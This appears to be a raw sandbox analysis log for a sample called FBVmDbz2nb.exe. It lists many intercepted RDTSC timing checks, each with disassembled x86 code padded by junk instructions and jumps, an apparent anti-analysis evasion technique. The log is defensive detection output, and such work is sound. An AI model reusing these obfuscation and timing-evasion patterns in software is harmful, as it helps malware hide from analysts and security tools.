Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500393 second address: 55003FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784B3055Fh 0x00000009 and cx, 4A2Eh 0x0000000e jmp 00007F8784B30569h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007F8784B3055Ch 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, ebx 0x00000028 jmp 00007F8784B30569h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55003FA second address: 550040A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D6226Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 550040A second address: 5500424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500424 second address: 5500428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500428 second address: 5500443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500474 second address: 5500478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500478 second address: 550047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55205BF second address: 552063D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 call 00007F8784D6226Bh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 pushad 0x00000014 movzx eax, dx 0x00000017 mov ecx, edi 0x00000019 popad 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov edx, 73A68F06h 0x00000022 call 00007F8784D62277h 0x00000027 pushfd 0x00000028 jmp 00007F8784D62278h 0x0000002d jmp 00007F8784D62275h 0x00000032 popfd 0x00000033 pop eax 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F8784D6226Ah 0x0000003e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552063D second address: 5520643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520643 second address: 552068D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8784D62274h 0x00000010 adc esi, 43AC7D98h 0x00000016 jmp 00007F8784D6226Bh 0x0000001b popfd 0x0000001c mov edi, eax 0x0000001e popad 0x0000001f mov dword ptr [esp], ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8784D62271h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552068D second address: 552069D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B3055Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552069D second address: 55206DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov ebx, esi 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 mov bx, 886Eh 0x00000016 pushad 0x00000017 call 00007F8784D62275h 0x0000001c pop eax 0x0000001d push edi 0x0000001e pop ecx 0x0000001f popad 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push ecx 0x00000028 pop edi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55206DD second address: 55206EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B3055Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55206EB second address: 5520724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b pushad 0x0000000c mov edx, 1BFDE130h 0x00000011 call 00007F8784D62279h 0x00000016 movzx eax, bx 0x00000019 pop edi 0x0000001a popad 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movsx edi, ax 0x00000022 mov bh, ch 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520724 second address: 552075D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8784B30566h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov si, 4223h 0x00000014 mov dh, cl 0x00000016 popad 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8784B3055Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552075D second address: 552078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62271h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8784D6226Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552078A second address: 5520790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55207E7 second address: 55207EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55207EB second address: 55207F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55207F1 second address: 5520832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784D62272h 0x00000009 add esi, 133BDA18h 0x0000000f jmp 00007F8784D6226Bh 0x00000014 popfd 0x00000015 mov si, 6DCFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8784D6226Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520832 second address: 5520838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5520838 second address: 5510204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov dh, al 0x0000000d pushad 0x0000000e mov cx, bx 0x00000011 mov dx, 5ED8h 0x00000015 popad 0x00000016 popad 0x00000017 leave 0x00000018 jmp 00007F8784D62277h 0x0000001d retn 0004h 0x00000020 nop 0x00000021 cmp eax, 00000000h 0x00000024 setne al 0x00000027 jmp 00007F8784D62262h 0x00000029 xor ebx, ebx 0x0000002b test al, 01h 0x0000002d jne 00007F8784D62267h 0x0000002f sub esp, 04h 0x00000032 mov dword ptr [esp], 0000000Dh 0x00000039 call 00007F878967FA3Ch 0x0000003e mov edi, edi 0x00000040 pushad 0x00000041 popad 0x00000042 xchg eax, ebp 0x00000043 jmp 00007F8784D6226Ch 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F8784D6226Dh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510204 second address: 5510208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510208 second address: 551020E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 551020E second address: 55102FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8784B30560h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F8784B30560h 0x00000016 sub esp, 2Ch 0x00000019 pushad 0x0000001a push ecx 0x0000001b call 00007F8784B3055Dh 0x00000020 pop esi 0x00000021 pop ebx 0x00000022 pushfd 0x00000023 jmp 00007F8784B3055Eh 0x00000028 sbb cx, E3E8h 0x0000002d jmp 00007F8784B3055Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 mov eax, 7CF3CAFBh 0x0000003b mov edi, esi 0x0000003d popad 0x0000003e push eax 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F8784B30563h 0x00000046 sbb eax, 563B33DEh 0x0000004c jmp 00007F8784B30569h 0x00000051 popfd 0x00000052 pushfd 0x00000053 jmp 00007F8784B30560h 0x00000058 jmp 00007F8784B30565h 0x0000005d popfd 0x0000005e popad 0x0000005f xchg eax, ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F8784B30568h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55102FB second address: 5510301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510301 second address: 5510308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510308 second address: 5510316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510316 second address: 551031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 551031A second address: 5510335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62277h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510335 second address: 551037C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F8784B3055Dh 0x00000013 add ecx, 70441796h 0x00000019 jmp 00007F8784B30561h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510459 second address: 5510484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784D62275h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510484 second address: 55104C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F8784B3055Eh 0x00000010 je 00007F8784B30769h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F8784B3055Dh 0x0000001e mov edi, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55104C2 second address: 5510510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8784D6226Ch 0x00000013 or ecx, 6FAB89E8h 0x00000019 jmp 00007F8784D6226Bh 0x0000001e popfd 0x0000001f mov bx, cx 0x00000022 popad 0x00000023 mov dword ptr [ebp-14h], edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8784D62271h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510568 second address: 551057A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B3055Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55106F5 second address: 55106FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55106FC second address: 55107F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784B30566h 0x00000009 sbb ax, 9E58h 0x0000000e jmp 00007F8784B3055Bh 0x00000013 popfd 0x00000014 movzx esi, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c pushad 0x0000001d mov eax, 38179559h 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007F8784B30566h 0x00000029 xor si, 2FE8h 0x0000002e jmp 00007F8784B3055Bh 0x00000033 popfd 0x00000034 popad 0x00000035 nop 0x00000036 pushad 0x00000037 call 00007F8784B30564h 0x0000003c pushfd 0x0000003d jmp 00007F8784B30562h 0x00000042 sub cx, 4D78h 0x00000047 jmp 00007F8784B3055Bh 0x0000004c popfd 0x0000004d pop eax 0x0000004e pushfd 0x0000004f jmp 00007F8784B30569h 0x00000054 and ah, 00000016h 0x00000057 jmp 00007F8784B30561h 0x0000005c popfd 0x0000005d popad 0x0000005e push eax 0x0000005f jmp 00007F8784B30561h 0x00000064 nop 0x00000065 jmp 00007F8784B3055Eh 0x0000006a xchg eax, ebx 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55107F2 second address: 55107F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55107F8 second address: 55107FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510861 second address: 5510867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510867 second address: 551087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 9DA3h 0x00000007 mov cx, 70FFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 551087D second address: 5510881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510881 second address: 5510887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510887 second address: 55108AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 movzx ecx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8784D62275h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55108AD second address: 55108C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55108C2 second address: 5510020 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F87F4C3FFE4h 0x0000000f xor eax, eax 0x00000011 jmp 00007F8784D3B99Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e xor ebx, ebx 0x00000020 cmp eax, 00000000h 0x00000023 je 00007F8784D623C3h 0x00000029 call 00007F878967F6EDh 0x0000002e mov edi, edi 0x00000030 jmp 00007F8784D62277h 0x00000035 xchg eax, ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510020 second address: 55100A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F8784B30561h 0x00000010 pushfd 0x00000011 jmp 00007F8784B30560h 0x00000016 add eax, 578F75D8h 0x0000001c jmp 00007F8784B3055Bh 0x00000021 popfd 0x00000022 pop eax 0x00000023 push edi 0x00000024 pushfd 0x00000025 jmp 00007F8784B30564h 0x0000002a adc ax, C038h 0x0000002f jmp 00007F8784B3055Bh 0x00000034 popfd 0x00000035 pop eax 0x00000036 popad 0x00000037 xchg eax, ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F8784B30561h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100A4 second address: 55100AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100AA second address: 55100B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 0F29h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100B3 second address: 55100C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov edi, ecx 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100C7 second address: 55100E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100E2 second address: 55100E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100E8 second address: 55100EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100EC second address: 55100F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55100F0 second address: 5510107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784B3055Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510107 second address: 5510146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 2B34h 0x00000007 pushfd 0x00000008 jmp 00007F8784D6226Dh 0x0000000d add si, 82F6h 0x00000012 jmp 00007F8784D62271h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [ebp-04h], 55534552h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 movsx edx, si 0x00000028 push ecx 0x00000029 pop ebx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510169 second address: 55101C5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8784B3055Bh 0x00000008 xor si, 258Eh 0x0000000d jmp 00007F8784B30569h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 leave 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx ebx, si 0x0000001d pushfd 0x0000001e jmp 00007F8784B30564h 0x00000023 and al, 00000038h 0x00000026 jmp 00007F8784B3055Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55101C5 second address: 55101CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 55101CB second address: 55101CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510CCE second address: 5510CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D6226Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510CE0 second address: 5510D62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8784B30564h 0x00000013 xor ah, FFFFFFC8h 0x00000016 jmp 00007F8784B3055Bh 0x0000001b popfd 0x0000001c mov ah, 29h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F8784B3055Bh 0x00000026 cmp dword ptr [7544459Ch], 05h 0x0000002d pushad 0x0000002e mov dx, ax 0x00000031 jmp 00007F8784B30560h 0x00000036 popad 0x00000037 je 00007F87F49FE212h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8784B30567h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510D62 second address: 5510D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510D68 second address: 5510D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510D6C second address: 5510D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510D70 second address: 5510D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop edx 0x0000000e mov al, C0h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510E39 second address: 5510E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510E3D second address: 5510E91 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test al, al 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8784B3055Dh 0x00000011 or ax, 5286h 0x00000016 jmp 00007F8784B30561h 0x0000001b popfd 0x0000001c mov ecx, 4A927037h 0x00000021 popad 0x00000022 je 00007F87F49F4068h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8784B30564h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510E91 second address: 5510E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5510E95 second address: 5510E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 552088C second address: 5520892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
